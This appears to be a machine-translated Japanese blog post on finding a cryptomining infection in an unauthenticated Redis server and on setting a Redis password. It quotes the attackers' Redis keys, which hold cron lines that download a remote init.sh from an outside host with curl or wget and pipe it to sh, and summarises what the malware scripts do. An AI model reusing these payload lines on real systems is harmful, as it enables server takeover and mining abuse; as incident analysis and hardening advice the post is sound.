イントラネット環境ではパスワードを設定する必要はありませんが、個人サーバーやオンラインのパブリックネットワークサーバーではパスワードを設定する必要があります。
昨日、redis で minio のイベント通知を確認したところ、redis キーを確認したところ、いくつか異常なキーが見つかりました。バックアップ1、バックアップ2、バックアップ3。それから私はそれがマイニングウイルスだと推測しました。
以下に示すように: このようにして、スケジュールされたタスクとスクリプトがマシンに挿入され、init.sh スクリプトの実行が開始されます。 init.shスクリプト?
このキーの値を確認すると、アドレスが要求されることがわかります。キーを開いて、この init.sh が何であるかを見てみましょう。
以下にスクリプトファイルを示します。
これには非常に多くのスクリプトがあります。selinux をオフにし、他の人のマイニング プロセスを強制終了し、CPU を大量に消費するプロセスを強制終了します。自分の場合は、システム コマンドの破棄、独自の downloads() 関数の作成、ロックされたタスクのロック解除と追加、マイニング テクノロジ タスクの追加、SSH パスワードなしのログインの設定、マイニング マシン マイニング プログラムのダウンロードと実行、ファイアウォールのオフ、ログ、既知の感染をクリアする パスワードのないマシンの場合は、is.sh をダウンロードして実行します。
is.sh スクリプトの内容は何ですか?
下の図に示すように、上記の init.sh は is.sh スクリプトをダウンロードします。
このスクリプトの動作を見てみましょう。
下の図に示すように、このスクリプトには非常に多くのコンテンツが含まれています。 Masscan スキャナーをダウンロードし、pnscan スキャナーをダウンロードし、redis をインストールして Redis の不正アクセスの脆弱性を作成し、rs.sh を実行します。
rs.sh スクリプトの内容は何ですか?
このスクリプトの内容は、上記のリンクから表示できます。
ポート 6379 を開き、redis を使用して承認なしでスケジュールされたタスクを自動的に書き込み、pnscan を使用してセグメント b の IP 6379 ポートをスキャンし、masscan を使用してポートをスキャンします。
Redis のパスワードを設定するにはどうすればよいですか?
次の 2 つの方法で、redis のパスワードを設定できます。
方法 1: redis.conf 構成ファイルを変更する
redis.conf ファイルを見つけます。
Windows は次の図に示されています
このファイルを編集し、requirepass を見つけ、コメントを解除し、指定された値を設定し、redis を再起動して取得します。効果。
インストール方法は人によって異なると思うので、docker経由でインストールしてマッピングしました。ここでは説明しませんが、Linux にインストールされている redis ディレクトリを見つけて、設定ファイル redis.conf を探します Windows と同じ操作です 設定後、再起動すればOKです
方法 2
この方法は比較的簡単で、再起動しなくても有効になります。
次のコマンドは、パスワードを 123456 に設定することを意味します。パブリック ネットワークでは、これほど簡単にパスワードを設定すべきではありません。
backup1 "\n\n\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n" backup2 "\n\n\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n" backup3 "\n\n\n*/4 * * * * root curl -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n" backup4 "\n\n\n*/5 * * * * root wd1 -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n"
Redis パスワードを確認してみましょう。
config set requirepass 123456
このようにして、パスワードが正常に設定され、redis クライアントを終了して再度接続すると有効になります。
以上がRedis でパスワードを設定する必要がある理由は何ですか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。